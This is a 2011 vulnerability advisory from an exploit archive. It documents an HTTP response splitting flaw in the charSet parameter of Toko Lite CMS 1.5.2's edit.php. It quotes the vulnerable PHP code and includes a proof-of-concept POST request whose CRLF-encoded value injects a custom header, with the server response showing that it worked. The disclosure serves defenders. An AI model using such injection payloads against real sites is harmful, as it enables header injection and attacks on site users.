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Toko Lite CMS 1.5.2 HTTP Response Splitting

Toko Lite CMS 1.5.2 HTTP Response Splitting
Posted Sep 19, 2011
Authored by LiquidWorm | Site zeroscience.mk

Toko Lite CMS version 1.5.2 suffers from a HTTP response splitting vulnerability. Input passed to the 'charSet' parameter in 'edit.php' is not properly sanitized before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user.

tags | exploit, web, arbitrary, php
SHA-256 | 0ece8e90a521dbb49857876275b2f7437dfe10ead5f178eb312f800e5e26394b

Toko Lite CMS 1.5.2 HTTP Response Splitting

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Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability


Vendor: Toko
Product web page: http://toko-contenteditor.pageil.net
Affected version: 1.5.2

Summary: Toko Web Content Editor cms is a compact, multi language, open
source web editor and content management system (CMS). It is advanced
easy to use yet fully featured program that can be integrated with any
existing site. It takes 2 minuets to install even for non technical users.

Desc: Input passed to the 'charSet' parameter in 'edit.php' is not properly
sanitised before being returned to the user. This can be exploited to insert
arbitrary HTTP headers, which are included in a response sent to the user.


====================================================================
/edit.php:
--------------------------------------------------------------------

3: $charSet = "iso-8859-1";
4: $dir = "ltr";
5:
6: if ( isset( $_POST[ "charSet" ] ) )
7: {
8: $charSet = $_POST[ "charSet" ];
9:
10: if ( $charSet == "windows-1255" )
11: {
12: $dir = "rtl";
13: }
14: }
15:
16: header( "Content-Type: text/html; charset=" . $charSet );

====================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2011-5048
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php

CWE ID: 113


22.03.2011


------------


POST /tokolite1.5.2/edit.php HTTP/1.1
Content-Length: 55
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=as9l9t0a7rs9pmuflb7c5s9o70; pma_fontsize=82%25
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

charSet=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

--

HTTP/1.1 302 Found
Date: Tue, 22 Mar 2011 03:57:30 GMT
Server: Apache/2.2.14 (Win32)
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: Login.php
Content-Length: 0
Keep-Alive: timeout=5, max=64
Connection: Keep-Alive
Content-Type: text/html; charset=
ZSL-Custom-Header: love_injection
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